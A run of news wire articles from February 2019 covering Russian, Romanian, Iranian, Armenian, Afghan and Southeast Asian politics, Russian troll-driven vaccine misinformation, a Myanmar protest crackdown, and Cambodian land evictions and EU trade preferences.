It said a preliminary investigation revealed that two masked attackers beat the man, probably with bats, and fled the scene. It did not identify any suspects.



"The victim was hospitalized, but despite the efforts of medical personnel, the man died in the hospital," the committee statement said.



Gribov, a trained lawyer, had worked at the Center for Action Against Corruption for four years, Kostromin said.

With reporting by Kommersant, TASS, and InterfaxRomania's justice minister has raised eyebrows in the European Union by sending his EU counterparts a letter arguing against the appointment of the country's former anti-corruption chief as EU prosecutor.

In the letter, Justice Minister Tudorel Toader accuses Laura Codruta Koevesi of signing "secret and antidemocratic pacts" with Romania's intelligence agencies in order to cooperate with them on investigations linked to national security or corruption.

"The protocols, since ruled unconstitutional, bring to mind the intermingling of politics, intelligence, and law enforcement so notorious in our nation during communist rule," the letter published in Romanian media said on February 13.

Koevesi, 45, led Romania's National Anti-Corruption Directorate (DNA) from 2013 to 2018 before being controversially removed by Toader at his left-wing government's behest.

Koevesi has since emerged as the leading candidate to become head of the new European Public Prosecutor's Office, which is scheduled to become operational by the end of 2020.

During Koevesi's time as head of the DNA, hundreds of dignitaries, elected officials, and business people were sent to prison on convictions for corruption.

The governing coalition as well as influential businesspeople and former politicians, some of whom went to prison for corruption, say the DNA colluded with parts of the justice system and the intelligence services, acting as a shadowy "deep state."

However, Koevesi remains popular among a majority of Romanians, who see her as a symbol of the anti-corruption fight. Huge anti-corruption protests took place in 2017 and 2018 across the country, many of them under the slogan "DNA will take you away," directed at the political elite.

The DNA's success has been regularly praised by EU institutions, while the government has come under steady criticism from Brussels over proposed judicial reforms that could weaken the independence of the justice system.

Liviu Dragnea, the head of the ruling Social Democratic Party (PSD) and speaker of the lower house of parliament, has been convicted of abuse of power with the help of the DNA and has a second pending sentence for corruption.

The government, which took over the EU's rotating presidency for the first time last month, has made clear its opposition to Koevesi taking the job in Brussels.

The EU is expected to approve a candidate for the new post at the beginning of next month.

With reporting by G4media.ro and AFPA major U.S.-organized Middle East conference is under way in Poland, a NATO member that has tightened cooperation with Washington as a counterweight to Russia's influence in Central and Eastern Europe.

Iran appears to be the main focus of the February 13-14 conference in Warsaw, and Tehran has labeled the gathering as a hostile act and warned of unspecified consequences for Poland.



U.S. Secretary of State Mike Pompeo and Polish Foreign Minister Jacek Czaputowicz are the official hosts of the two-day conference, where senior officials from 60 nations are expected to attend.



Israeli Prime Minister Benjamin Netanyahu and U.S. Vice President Mike Pence are in attendance, and U.S. sources told RFE/RL that more than 20 other countries from around the world were due to participate at a ministerial level, including Britain, Bulgaria, Italy, Georgia, Romania, Ukraine, South Korea, Brazil, and a number of Arab states such as Morocco and Saudi Arabia.

But France and Germany are not sending cabinet-level officials, and European Union foreign-policy chief Federica Mogherini is staying away.

Russia and China are not participating and neither are the Palestinians, who have called for the meeting to be boycotted.

Moscow views with concern "U.S. attempts to impose unilateral geopolitical interests through initiatives presented as opinions of the entire international community," the Russian Foreign Ministry said in comments carried by the Interfax news agency.

A U.S. administration official said late last month that the conference was "not an anti-Iran meeting or a coalition-building exercise," but that Pompeo will discuss what the official called "Iran's destructive policies in the region."

However, on his way to Warsaw Netanyahu made clear the conference is centered on Iran.

"It is a conference that brings together the United States, Israel, many countries in the world, many countries in the region, Arab countries, against Iran's aggressive policy, its aggression, its desire to conquer the Middle East and destroy Israel," he told reporters.

Netanyahu also said that together with Israel's Arab partners, he planned to focus on confronting Iran. He made the comments during an impromptu interview with reporters on a Warsaw street, shortly after meeting Oman's foreign minister.

Although Netanyahu used the Hebrew word "milchama," or "war," in his comments, his office later changed its official translation and said he was referring to a "common interest of combatting Iran."

Addressing a press conference in Tehran, Iranian Foreign Minister Mohammad Javad Zarif said that he believed the Warsaw conference was "dead on arrival."



"It is another attempt by the United States to pursue an obsession with Iran that is not well-founded," he also said.

Guillaume Xavier-Bender, a fellow at the German Marshall Fund in Brussels, told RFE/RL that the possible outcome of the event was unclear.



"You cant have a discussion about peace in the Middle East without Russia, Iran, and everyone involved there," Xavier-Bender said.



"The outcome of this conference is a mystery for everyone at this stage, because it wont be a deal on how to move forward with Iran. There wont be a declaration on how the U.S. and its partners in Europe can actually move forward with the Middle East peace process" between Israel and the Palestinians, he added.

The gathering also comes as Poland is pushing for the United States to open a permanent U.S. base on its territory. The U.S. Defense Department is expected to reveal its assessment of the proposal next month.



Washington and its EU allies are also at odds over the fate of the 2015 nuclear treaty that saw Iran curtailing its nuclear ambitions in exchange for Western countries lifting crippling economic sanctions.



President Donald Trump's administration has moved to undo the deal and reimpose sanctions. EU nations, however, criticized the move and sought to keep aspects of the deal in place.



In a news conference in Warsaw on February 12, Czaputowicz said transatlantic cooperation was necessary to resolve conflicts in the Middle East.



"The European Union alone does not, in my opinion, carry sufficient political weight to try to really influence the situation in the Middle East," he told reporters.

In remarks just ahead of the Warsaw conference, Iran's Supreme Leader Ayatollah Ali Khamenei said that any negotiations with the United States "will bring nothing but material and spiritual harm."



He also said that Tehran must be careful to limit any dealings with some "untrustworthy" European states, adding that the country "must not retreat a single step from national and revolutionary values."

With reporting by AP, AFP, Reuters, dpa, Interfax, and RFE/RL's Radio FardaRudy Giuliani, a personal lawyer of U.S. President Donald Trump, has said he favors the "overthrow" of Iran's theocratic regime.

Giuliani was speaking to RFE/RL's Radio Farda on February 13 on the sidelines of a major Middle East conference in Warsaw which Iranian officials have blasted as an "anti-Iran circus."

"I believe there has to be an overthrow of this regime," Giuliani said, adding that he was speaking in his personal capacity and not as an official representative of the U.S. administration.

The Trump administration has consistently said it is not seeking "regime change" in Tehran, only a "change in behavior."

"I don't think this theocratic dictatorship can possibly become some kind of democratic, liberal democratic force," Giuliani added while accusing Iranian leaders of killing their opponents.

"They're murderers, they're killers, they're assassins," he said. "I think this regime has to go."

Giuliani made the same call at a rally in Warsaw organized by the Iranian exile opposition group People's Mujahedin Organization of Iran (aka Mujahedin-e Khalq Organization, MKO), which was once blacklisted by the United States and the European Union as a terrorist organization.

Giuliani has called for a regime change in Iran at a several MKO events.

The group has almost no support inside Iran, where many despise it for siding with Iraqi dictator Saddam Hussein during the bloody 1980-88 war with Iraq.

U.S. media have reported that MKO pays high fees to former officials who speak at their rallies. It wasn't clear if Giuliani had been paid to speak at the MKO event in Warsaw.

Trump has pulled out of a landmark 2015 nuclear deal with Iran and reimposed tough economic sanctions.

The sanctions have hurt the country's economy and contributed to the devaluation of the national currency.

Giuliani said the sanctions had been "very effective."

"I know that because there were protests inside Iran every couple of days to overthrow the regime," he said.

Iranians protested economic conditions and corruption in late 2017 and early 2018.

The protests spread to more than 80 cities and towns where demonstrators chanted against Iranian leaders.

Since then, the country has experienced relatively small, scattered protests.The photojournalist behind an award-winning image of an Iranian protester in a haze of tear gas has spoken out against U.S. President Donald Trump's use of her photo to denounce Iran's leadership in connection with the 40th anniversary of the Iranian Revolution.

Iranian Yalda Moayeri said she hoped her photo "would be a symbol of freedom everywhere in the world" and accused the U.S. leader of "us[ing] it without my permission in a tweet in Persian even," calling it "a great shame for me and causes me deep sorrow."

She complained via Instagram on February 12 that "because of Trump's policies, I, my family and my friends are forced to live under sanctions that are devastating our lives."

Moayeri also said she had kept her authorship of the photo secret for six months out of fear that "being known as the photographer I [sic] might get me into trouble," seemingly highlighting the fear and lack of freedoms that U.S. and other Western governments argue are central to some of their harshest criticisms of Tehran.

The Trump administration last year announced it was withdrawing from a 2015 nuclear deal that had eased U.S. and other international sanctions in exchange for curbs on Iran's disputed nuclear program, saying continuation would have left "the world's leading state sponsor of terror...on the cusp of acquiring the world's most dangerous weapons." It has since imposed "on the Iranian regime" what Trump described as "the highest level of economic sanctions."

Experts say the moves have taken a heavy toll on Iran's currency and its economy, which was already saddled with high unemployment, entrenched corruption, and opaque levers of control.

Iranian President Hassan Rohani last year suggested Washington was waging "psychological and economic and eventually political warfare to break our nation."

Moayeri's photograph shows an unidentified woman near Tehran University raising a defiant fist with one hand while trying to protect herself from tear gas with the other amid street protests that rattled Iran's clerically dominated leadership in late 2017 and early 2018.

Security forces came out in force, communications were restricted, and thousands of Iranians were detained in the effort to quell the economic and political unrest, which had spread to dozens of cities. Protest chants included condemnation of the leadership and the country's highest authority, Supreme Leader Ayatollah Ali Khamenei.

The photo was widely shared on social media and in the Western press at the time.

In conjunction with the anniversary this month of Iran's 1979 revolution, Trump used Moayeri's image in tweets on February 11 -- in English and in Persian -- with text accusing the Iranian leadership of "40 years of corruption. 40 years of repression. 40 years of terror. The regime in Iran has produced only #40YearsofFailure. The long-suffering Iranian people deserve a much brighter future."

Moayeri, 37, said seeing the picture in the tweets "and in a press interview by [U.S. Secretary of State Mike] Pompeo and any senior U.S. politician, is very embarrassing."

"This photo is from the people in Iran and for the people in Iran, and it shouldn't be misused by anyone else," she added.

Moayeri also criticized the year-old U.S. travel ban that prevents Iranians -- and nationals from six other countries -- from entering the United States, where she said her father lives.

U.S. officials including Pompeo have defended the reimposition of sanctions on Iran, saying the measures are designed to alter Tehran's behavior.

The Trump administration's tough line has been interpreted by some as an effort at regime change despite denials by U.S. officials.

Moayeri eventually won the main prize of the annual Iranian Photojournalist Association for the image, once her identity was known.

In an interview with The New York Times, she said that she sold her image to Iran-based photographers for The Associated Press and Agence France-Presse.

She said that she still possessed the rights to the photo.

Iran does not recognize international copyright laws.

But many interpretations of copyright law also make certain allowances for so-called transformative uses of works outside the exclusive rightsholder.

The U.S. State Department did not initially respond to an RFE/RL request for comment on Moayeri's statements.YEREVAN -- Armenian investigators have filed a new bribe-taking charge against former President Robert Kocharian, who was previously charged with violating the country's constitutional system.



The new charge stems from allegations that businesswoman Silva Hambartsumian was forced to pay a bribe to an Armenian minister, Kocharian's lawyer Aram Orbelian told RFE/RL on February 12.

The lawyer did not provide any more information.



Hambartsumian told RFE/RL in October that she had to pay a $14 million bribe in 2008 to then-Environment Minister Aram Harutyunian.



In January, a court in Yerevan ordered Harutyunian's arrest, but his current whereabouts is unknown.



Kocharian was initially arrested in July on charges stemming from his government's deadly use of force against opposition protesters during the final weeks of his 1998-2008 rule.



His arrest came after former opposition leader Nikol Pashinian was elected prime minister in May following peaceful protests that he spearheaded, severely weakening the establishment that had been in place in the South Caucasus country since Kocharian's rule.



Kocharian is accused of illegally ordering Armenian Army soldiers to use force against opposition supporters who were protesting against alleged fraud in the disputed presidential election of February 2008.



Eight protesters and two police personnel were killed when security forces engaged in clashes with the protesters on March 1-2, 2008.



Kocharian denies the accusations, saying Armenias current government is waging a political vendetta against him.



Kocharian, 64, was freed on August 13 by an appeals court that ruled the constitution gave him immunity from prosecution in connection with the 2008 violence.



Kocharian announced he was returning to politics just days after his release from a Yerevan detention center, but he did not run in snap December 9 parliamentary elections that helped cement Pashinian's power.



A court reinstated Kocharian's pretrial detention two days before the elections, and he has been in custody since then.



Since his initial release in August, Kocharian has repeatedly accused Pashinians government of endangering the countrys national security, undermining its relations with Russia, and lacking economic programs.



Pashinian has defended the criminal charges against Kocharian, declaring on August 17 that all murderers will go to prison.Russian authorities have filed their first formal accusation based on new legislation under which people found to have lured minors into protests can be jailed, an advocacy group says.

The charge of "engaging minors (individuals younger than 18) in unsanctioned public gatherings" was filed in the Baltic Sea coastal city of Kaliningrad, the Apology Of Protest organization said on Telegram on February 12.

The NGO provides legal assistance to people facing pressure from the state over demonstrations.



It said that Ivan Luzin, a backer of opposition politician and anticorruption campaigner Aleksei Navalny in Kaliningrad, was charged with involving two teenagers -- born in 2002 and 2003 -- in a rally on February 7.



In late December, President Vladimir Putin, 66, signed a law establishing administrative punishment for people deemed by courts to have involved minors in unauthorized protests, rallies, and demonstrations.



According to the law, organizers of unsanctioned public gatherings in which people under 18 participate face punishment including up to 15 days in jail, community service, and a fine of up to 50,000 rubles ($760).



Officials will face fines of up to 100,000 rubles ($1,520) for the same offense, and organizations up to 500,000 rubles ($7,600).



The law was endorsed after thousands of teenagers took part in antigovernment protests across Russia in the past few years, including demonstrations organized by Navalny, 42.



The charges were apparently lodged over a demonstration in downtown Kaliningrad in which Luzin and two young female protesters held posters expressing support for two jailed activists who claim they were tortured in custody.Scientific researchers say Russian social-media trolls who spread discord before the 2016 U.S. presidential election may also have played an unintended role in a developing global health crisis.

They say the trolls may have contributed to the 2018 outbreak of measles in Europe that killed 72 people and infected more than 82,000 -- mostly in Eastern and Southeastern European countries known to have been targeted by Russia-based disinformation campaigns.

Experts in the United States and Europe are now working on ways to gauge the impact that Russian troll and bot campaigns have had on the spread of the disease by distributing medical misinformation and raising public doubts about vaccinations.

Studies have already documented how cybercampaigns by the Internet Research Agency -- a St. Petersburg "troll farm" that has been accused of meddling in the U.S. 2016 presidential election -- artificially bolstered debate on social media about vaccines since 2014 in a way that eroded public trust in vaccinations.

Now, the World Health Organization (WHO) is warning that "vaccination hesitancy" has become one of the top threats to global health.

It notes a 30 percent rise in measles globally and a resurgence of measles in countries that had once been close to eradicating the disease.

New efforts are now being launched by researchers in the United States and Europe to understand what they describe as "an incredibly complex" issue -- people opting out of available vaccinations for themselves or their children.

At Duke University in North Carolina, a center for scientific health data called The Forge is working to understand and respond to medical misinformation on the Internet.

Forge director Robert Califf, a former commissioner of the U.S. Food and Drug Administration, has said that medical misinformation may be "the issue of our times that demands top priority."

He said combating misinformation campaigns about vaccines had become more complex now that research is demonstrating that a large amount of the social-media posts represent what he called "state-sponsored cyberwarfare, particularly from Russia."

Katharina Kieslich, a political scientist at the University of Vienna, has written that "vaccination hesitancy might be explained from a political-science perspective."

Kieslich says the pervasiveness of anti-vaccination arguments ensures that challenges will remain for policymakers and health workers trying to reach "citizens who are skeptical of vaccines."

'Negative Misinformation Online'

WHO vaccine specialist Katrine Habersaat tells RFE/RL that misinformation is just one factor behind a recent decline of vaccination coverage in Eastern and Southeastern European countries where there has been a resurgence of measles.

She says other factors include complacency about the threat of the disease, the convenience of vaccination services, and confidence in health workers who carry out vaccination campaigns.

In Ukraine, the country worst hit by the 2018 measles epidemic, vaccination services and supplies were also greatly reduced in 2015 and 2016 as fighting intensified between government forces and pro-Russia separatists in the east of the country.

"We actually don't know enough about the influence of misinformation available online upon vaccination intentions and behaviors," Habersaat says. "What we do know is that there is an element of echo chambers in this."

"We may never know for sure, but I hope there will be more studies exploring this so we know how much we should fear or work against negative misinformation online," she says.

Toward that goal, Habersaat says the WHO's European regional office recently entered a "strategic relationship" with Russia's Health Ministry. They are working together with researchers in Germany to develop a framework on how to study vaccination hesitancy in the context of Russian and Eastern European culture. The results of that study are expected in mid-2020.

Hardest Hit

If applicable, Habersaat says, that framework would be applied to WHO's research in other countries where vaccination coverage has dropped and measles has become resurgent -- including Ukraine, Georgia, Serbia, Romania, Moldova, Kazakhstan, and Kyrgyzstan.

"In countries like Pakistan and Afghanistan, there are many misperceptions," Habersaat explains. "A lot of misinformation is leading parents to make decisions not to protect their children against dangerous diseases."

In Europe, vaccination coverage is high but there are specific "pockets" of population groups in all countries that have lowered coverage, she notes.

"Over the years, the number of people in those pockets that are not protected from the disease grows," she says. "At some point, there are enough to spread the disease. Then somebody comes by with measles and, poof, it spreads easily because there are enough people to transmit and it's difficult to control."

Data published by the WHO at the beginning of February confirm that Eastern and Southeastern Europe bore the brunt of the 2018 measles epidemic.

Ukraine had more than 53,200 confirmed cases of measles and 15 deaths during 2018. Serbia, Russia, Georgia, and Romania were also among the worst-hit countries -- collectively accounting for another 8,400 cases of measles, including 40 deaths.

WHO registered 22 deaths from measles in Romania last year, 14 in Serbia, three in Georgia, and one in Russia.

Russian Troll Campaign

David Broniatowski, a professor at George Washington University in the U.S. capital, has documented how trolls at the Internet Research Agency have amplified the vaccine debate in the United States and "eroded public consensus on vaccination" since 2014.

Broniatowski tells RFE/RL he hasn't seen any evidence that Russia has tried to weaken Western democracies by persuading people to stop vaccinating. Rather, known trolls masqueraded as legitimate users on social media and debated vaccines as part of their strategy to promote political polarization.

"It's a known strategy to infiltrate an interest group around a particular issue or topic and then slowly try to introduce new things into that discourse," he explains.

After "getting access to a vulnerable subgroup and getting followers from that subgroup" on social media, Broniatowski says, the Russian trolls would get their followers to retweet messages about other issues that are in line with the Kremlin's agenda.

They'd also retweet messages from known anti-vaccination accounts in order to gain credibility after infiltrating an anti-vaccination group.

By giving "equal time" to both pro- and anti-vaccination arguments, Broniatowski says Russian trolls and bots disproportionally helped legitimize and spread the dubious arguments of vaccine skeptics. "What we saw was the use by these Russian troll accounts of these hot-button issues like race relations and freedom of choice," he says.

One anti-vaccination tweet by a confirmed Russian troll account declared that "mandatory #vaccines infringe on constitutionally protected religious freedoms." Another played up the idea that the U.S. government cannot be trusted by asking, "Did you know there was a secret government database of #vaccine-damaged children?"

Broniatowski says other Russian troll tweets bolstered distrust in pharmaceutical companies and promoted "vaccine complacency" with the idea that vaccines are unnecessary because they target diseases that are relatively harmless.

Other Russian trolls played on fears by posting medical misinformation like "Natural infection almost always causes better immunity than #vaccines," and "Did you know vaccines cause autism?"Afghanistan is mourning Sibghatullah Mojaddedi, the country's first president after Soviet forces withdrew 30 years ago following a war of occupation.

Mojaddedi, a mujahedin commander who fought against the Soviet Army in the 1980s, died late on February 11 in a Kabul hospital. He was 93.



A mourning ceremony was held at the presidential palace in Kabul on February 13 during which Mojaddedis coffin was draped in a green shawl featuring verses from the Koran, and later the Afghan flag.

The event was attended by his former comrades-in-arms, senior government officials, and other prominent Afghan figures, including former President Hamid Karzai.



President Ashraf Ghani hailed Mojaddedis contributions to evicting Soviet forces from Afghanistan, saying "his death has saddened the entire nation."



We lost one of the most prominent personalities in contemporary Afghanistan, he also said.

In a statement, U.S. Secretary of State Mike Pompeo described Mojaddedi as a "tireless defender of democracy and valued partner for peace."

"He will be missed by not only the Afghan people but the international community with whom he worked to advance peace and democracy," Pompeo also said.

Mojaddedi led a mujahedin faction, the Afghan National Liberation Front, during the nearly decade-long insurgency against the Soviet occupiers.



After the Soviet Army retreated in February 1989, Afghanistan's communist regime collapse in 1992 and Mojaddedi, an ethnic Pashtun, was chosen as interim president.



He served two months under a power-sharing deal struck by mujahedin leaders, before Afghanistan plunged into civil war.



Following the fall of the Taliban regime in 2001, he served as chairman of the Loya Jirga, or traditional grand council of political leaders and elders, that approved a new constitution for Afghanistan in 2003.



Mojaddedi also chaired a gathering of tribal elders in 2013 that endorsed a deal allowing the United States to keep troops in Afghanistan to train local forces and conduct counterterrorism operations.

With reporting by APVietnamese fishermen are seen in a boat after being detained by the Royal Marine Police in Thailands southern province of Narathiwat, Nov. 24, 2016.

The Malaysian Maritime Enforcement Agency (MMEA) has broken up a syndicate led by a Vietnamese woman that specialized in forging records of foreign fishermen, enabling them to work and cross borders illegally, an official said Tuesday.

The syndicate targeted Vietnamese fishermen who did not have work permits or whose seamans books had expired, MMEA deputy operations director Maritime Capt. V. Pannir Selvan said.

Selvan described the suspect as a Vietnamese woman in her 30s who holds Malaysian permanent resident status. The woman, who was not named, was arrested during a house raid by MMEA in the state of Pahang on Feb 3.

During the raid on the suspects house, the MMEA team managed to seize 36 Vietnamese passports, 54 Vietnamese seamans books, fake seaman approval stamps, and other questionable documents, he said.

A seaman book is a continuous record of service that must be carried and is an official and legal record of sea experience.

On Jan. 30, MMEA arrested 19 Vietnamese between the ages of 19 and 50 who were in Malaysia illegally, as they attempted to leave aboard a local fishing boat off the southeastern coast of Peninsular Malaysia.

Investigators said they identified the syndicates male ringleader as Vietnamese national Nguyen Au Yang, who apparently managed to evade arrest on Feb 6.

Reported by BenarNews, an RFA-affiliated online news service.A protester receives treatment after being injured by Myanmar police during a demonstration near a statue of General Aung San in Loikaw, capital of eastern Myanmar's Kayah state, Feb. 12, 2019.

Myanmar police injured 21 ethnic Karenni protesters Tuesday when they used rubber bullets and a water cannon to break up a demonstration in Kayah state capitals Loikaw over a statue of the father of Myanmar's de facto leader Aung San Suu Kyi, a local protester said.

About 5,000 Karenni marched in three columns during the morning protest, demanding that officials remove or relocate a newly inaugurated gold-colored statue of Myanmar independence hero General Aung San from a public park.

Ethnic Karenni oppose the erection of the statue because Aung San came from the ethnic Bamar majority that dominates the country and because they believe that the current government should focus on equal rights for ethnic minorities.

The protesters also called for the resignation of the eastern states chief minister and the minister of planning and finance, who local residents believe are responsible for the crisis.

Police used rubber bullets and water cannons to disperse the protesters, saying they had crossed the barriers, demonstrator Kyaw Htin Aung told RFAs Myanmar Service.

Police cracked down on one of the columns using water cannons and rubber bullets, he said. One person was seriously injured in the face.

When RFA contacted Loikaw Township Police Chief Win Naing, he refused to comment, saying an official statement would be issued once the situation had settled.

Reuters later reported that about two dozen people rallied in Myanmars commercial hub Yangon in support of protesters in Loikaw and in opposition to the building of Aung San monuments.

The latest protest follows other demonstrations by young Karennis last week outside the state headquarters of the ruling National League for Democracy (NLD) party in Loikaw. Dozens were arrested and charged with unlawful assembly, incitement, and defamation.

Yanghee Lee, the United Nations special rapporteur on the situation of human rights in Myanmar, condemned the police violence against the Loikaw protesters.

This is yet another example of the government sidelining the rights of ethnic minorities and failing to truly do what is necessary to unite the country and bring about peace and democracy, she said in a statement issued Tuesday by the U.N.s human rights office (OHCHR).

The government of Myanmar must respect the right of all people to peacefully assemble and express their views about issues that concern them, she said. Using disproportionate force against peaceful protesters is entirely unacceptable. The arrests must stop.

Some charges dropped

At about 3 p.m., eight protest organizers and two journalists from different media outlets were allowed to hold talks with state officials during which the parties reached an agreement that the charges against detained protesters would be dropped, Kyaw Htin Aung said.

A total of 86 protesters have been charged, some of them two or three times they were released on bail but then rejoined demonstrators and were re-arrested, he said.

They agreed to drop the cases of 55 people, Kyaw Htin Aung said. There were also five people who are being charged under Article 20 of the Peaceful Assembly and Peaceful Procession Law following a protest in support [of building the statue,] so at least, the demand for dropping the cases was successful.

Negotiations are still ongoing and are said to include a plan that the committee for erecting the Aung San statue and another committee objecting to it will settle the issue within a month, he added.

In the meantime, the protests will be stopped, and the park where the statue is located will be closed during the discussions, he said.

The local government is also required not to intervene in the negotiations and to respect the outcome of the talks, Kyaw Htin Aung said.

We want everyone to enter into negotiations whenever a conflict occurs, said NLD party spokesman Myo Nyunt.

But what really happened needs to be known, he added. A group of people staged a protest against the statue. Likewise, a group of people protested in support of the statue, so we have to see whos reflecting the peoples desire.

Officials must also determine what led to use of force during the crackdown on protesters, Myo Nyunt said.

We cant make comments on only the information we have at hand, he said.

Kayah state officials, including Chief Minister L Paung Sho, were unavailable for comment.



Myanmar's President Win Myint (L) and State Counselor Aung San Suu Kyi (R) arrive to attend a reception marking the 72nd anniversary of country's Union Day, in Naypyidaw, Feb 12, 2019. Credit: AFP Union Day speech

The latest protest in Loikaw occurred on Union Day, a public holiday commemorating the passage of the Panglong Agreement in 1947, which gave the country full independence from Britain after more than 100 years of colonial rule.

General Aung San, affectionately known as Bogyoke (General) in Burmese, led the effort to sign the agreement with Shan, Kachin, and Chin ethnic minority leaders as the first step towards the creation of a federal union for all ethnic groups in Myanmar, though the goal has yet to be realized.

In a speech commemorating the holiday, President Win Myint said that misconceptions had led to decades of civil war between government forces and ethnic armies, and that the government would make efforts to hold peace talks with ethnic armed organizations that have and have not signed a nationwide cease-fire agreement (NCA).

[M]isunderstandings, mistrust, and doubt crept in among the ethic people, leading to 70 years of armed conflicts, and the fire of armed conflicts has not yet ceased, he said at a ceremony in Naypyidaw. Only the united strength of the ethnic people and their commitment can help preserve and perpetuate independence and sovereignty and prevent the disintegration of the Union.

Win Myints comments about Aung San during his speech reflect the reverence and esteem in which the general, who was assassinated in July 1947, is held by contemporary leaders.

Our national leader Bogyoke Aung San and ethnic leaders rebuilt the unity of all national races and sacrificed their lives to regain the independence that we had lost, he said.

General Aung San and ethnic leaders held the Panglong Conference as part of efforts for regaining independence for the hilly regions without separating them from the mainland.

Under the current NLD government, State Counselor Aung San Suu Kyi has spearheaded a sporadic series of peace talks known as the 21st-Century Panglong Conference, or the Union Peace Conference, to bring warring factions to the negotiating table, permanently end the hostilities, and create a democratic federal union that includes ethnic minorities.

So far, the 10 ethnic armed groups that have signed the NCA and other stakeholders in the peace process have agreed to 51 basic principles for a democratic federal union, but they remain at odds over security issues.

In a bid to give the peace process a boost, Myanmars military declared a temporary unilateral cease-fire in five of its command zones, except for troubled Rakhine state in the countrys west, where fighting between its soldiers and the ethnic Arakan Army has intensified in recent months.

The cease-fire expires on April 30.

Reported by Thiri Min Zin and other reporters for RFAs Myanmar Service. Translated by Nandar Chann and Khet Mar. Written in English by Roseanne Gerin.A police officer handcuffs four of the six villagers arrested following a crackdown on a land protest in Sihanoukville province's Prey Nob district, Jan. 24, 2019.

Cambodias Interior Minister Sar Kheng has condemned authorities in Sihanoukville and Kratie provinces for using military force to enforce orders of the court in recent land dispute cases.

Speaking of two specific cases where the military was called in to forcibly remove villagers for land development, the minister acknowledged Wednesday that court orders need to be enforced, but said that military involvement was excessive.

As provincial authorities, we can use the police and the military police, but using the military is wrong, said Sar Kheng.

We cant use military force to execute the courts orders. It is wrong, he said, adding, [If we do that] it means that we dont know the laws.

Please be careful not to repeat the same mistake in other provinces, he urged.

Only police, military police, and prosecutors can [enforce] court decisions, said Sar Kheng.

Last month six villagers were arrested and one was left critically injured after authorities fired on a protest against the forcible eviction of residents from land in southwest Cambodias Sihanoukville province. Villagers clashed with police armed with assault rifles and shields who tried to evict them using tactics they described as brutal and unacceptable, following a Supreme Court decision to grant their land in Sihanoukvilles Prey Nob district as a concession to a wealthy businessman.

Speaking specifically of the incident in Sihanoukville, the minister said, It was not necessary, to use [that kind] of force.

If we [use military force in this way], then we breach laws and we will be in trouble, he said.

He warned that resorting to violence would hurt the reputation of the government and suggested that in cases where there is a problem or reaction against court decisions, the authorities should consider alternative ways to resolve the issue.

But we didnt do that. We violently enforced it, he said.

In this situation you cant do that. Please be prudent, he said, adding, I dont blame you but [I speak] as a person who [wants to] help straighten your direction.

The minister then spoke of two cases in which he asked provincial authorities to use nonviolent measures to settle land disputes with villagers, saying both issues had been successfully resolved.

I asked them to negotiate. Even though we are ruling party. But we cant rely on weapons, he said.

We must seek [peaceful] resolutions. We must respect the law, said the minister, adding, We must prove [to] people that [the government is a] public administration.

We must protect the people who are in the right, but we cant just shoot people [in the wrong], he said.

Am Sam Ath, a senior officer for the Cambodian League for the Promotion and Defense of Human Rights (LICADHO) told RFAs Khmer Service that he welcomed Sar Khengs comment.

He said that the military isnt trained to engage the public like police because their primary purpose is to defend the country.

Am Sam Ath continued to urge authorities to investigate into military police officers who allegedly shot and injured a villager, during a violent forced eviction Jan 24 in Sihaoukville.

We must find the suspects and bring them to justice. We need to end the culture of impunity, he said.

Sihanoukvilles provincial deputy governor told reporters during a press conference last week that authorities did not shoot the villager.

The deputy governor said that the villager got hurt from a bullet that was shot into the air, but hit him as it fell.

Besides injuring that villager, a military police officer also allegedly used his weapon to hit a villager while another officer allegedly kicked a villager who was handcuffed.

The seizure of land for developmentoften without due process or fair compensation for displaced residentshas been a major cause of protest in Cambodia and other authoritarian Asian countries, including China and Myanmar.

Rural villagers and urban dwellers alike have been mired in conflicts that the U.N.s special rapporteur for human rights in Cambodia has warned could threaten the countrys stability.



Cambodias land issues date from the 1975-79 Khmer Rouge regime, which forced large-scale evacuations and relocations, followed by a period of mass confusion over land rights and the formation of squatter communities when the refugees returned in the 1990s after a decade of civil war.

Reported by RFAs Khmer Service. Translated by Samean Yun. Written in English by Eugene Whong.Cambodia on Tuesday slammed what it called an unjust decision by the European Union to launch proceedings that could see its preferential access to the blocs market suspended, saying the move amounted to interference in its internal affairs amid political tensions in the Southeast Asian nation.



The European Commission (EC), which coordinates trade policy for the EU, announced the decision on Monday, citing a deterioration in Cambodias labor and human rights record over the past 18 months, and kicking off a six-month monitoring period to determine whether Cambodian exports should continue to enjoy tax-free entry into the European market under the Everything But Arms (EBA) scheme.



At the end of the monitoring period, the EUCambodias largest trading partnerwill take three months to produce a report based on its findings, and 12 months from Tuesday, the EC will conclude the procedure with a final decision on whether or not to withdraw trade preferences, as well as the scope and duration of the withdrawal.



Any withdrawal would come into effect after a total of 18 months.



Cambodias government lashed out at the EU in a statement Tuesday, calling the decision unjust and suggesting that the bloc doesn't respect Cambodias sovereignty, because the EUs demands amount to political interference.



The period of deterioration referred to in the ECs statement includes the September 2017 arrest of opposition Cambodia National Rescue Party (CNRP) President Kem Sokha for alleged acts of treason and the dissolution of his party by the Supreme Court two months later, which paved the way for the ruling Cambodia Peoples Party (CPP) to win all 125 seats in parliament in a July 2018 general election.



On Tuesday, Cambodias government said the EU decision signaled its support for a handful of politicians from a small party that is infamous for racism, discrimination and incitement and expressed frustration that the bloc had overlooked its efforts to rehabilitate 118 CNRP members, referring to party members who had been banned from politics in the dissolution, but were offered reinstatement by Prime Minister Hun Sen if they join other parties and request pardons.



Cambodia is willing to strengthen democracy, human rights, and labor rights, the statement said, adding that the government is also committed to protecting peace, stability and independence at all costs.

We will try to resolve the problems that will arise from this decision.



Hun Sen followed the government statement with a message posted to his Facebook account criticizing the decision.



Cambodia cant rely solely on foreign aid or exchange its sovereignty and independence for anything, the prime minister wrote.



We want to see countries that are good friends of Cambodia be happy with our development, and not interfere in our internal affairs.



The statements marked a departure from Cambodias earlier reactions to the threat of EU sanctions, including a statement by government spokesperson Phay Siphan on Monday, who said the country had already prepared for the decision and didnt need to be coddled by the international community.



Cambodians concerned



But average Cambodiansincluding workers, farmers and vendorsexpressed concern Tuesday over the potential loss of tariff-free access to the EU, which accounted for nearly half of Cambodias exports last year and props up the Southeast Asian nations key garment industry.



Dy Samphos, a worker from the Songly Factory in Svay Rieng province, told RFAs Khmer Service she will face severe financial difficulties if the EBA scheme is ended, saying she currently supports her children and elderly parents on modest wages.



If the factory closes, I will have to live in another country [to earn enough money], and I will be far away from my children and parents, she said.



A vendor in Svay Rieng named Ky Nady said she owns a grocery store and fears that if local factories close, workers will stop buying groceries.



When they cant afford to buy food and rice to eat, they wont purchase anything from us, she said.



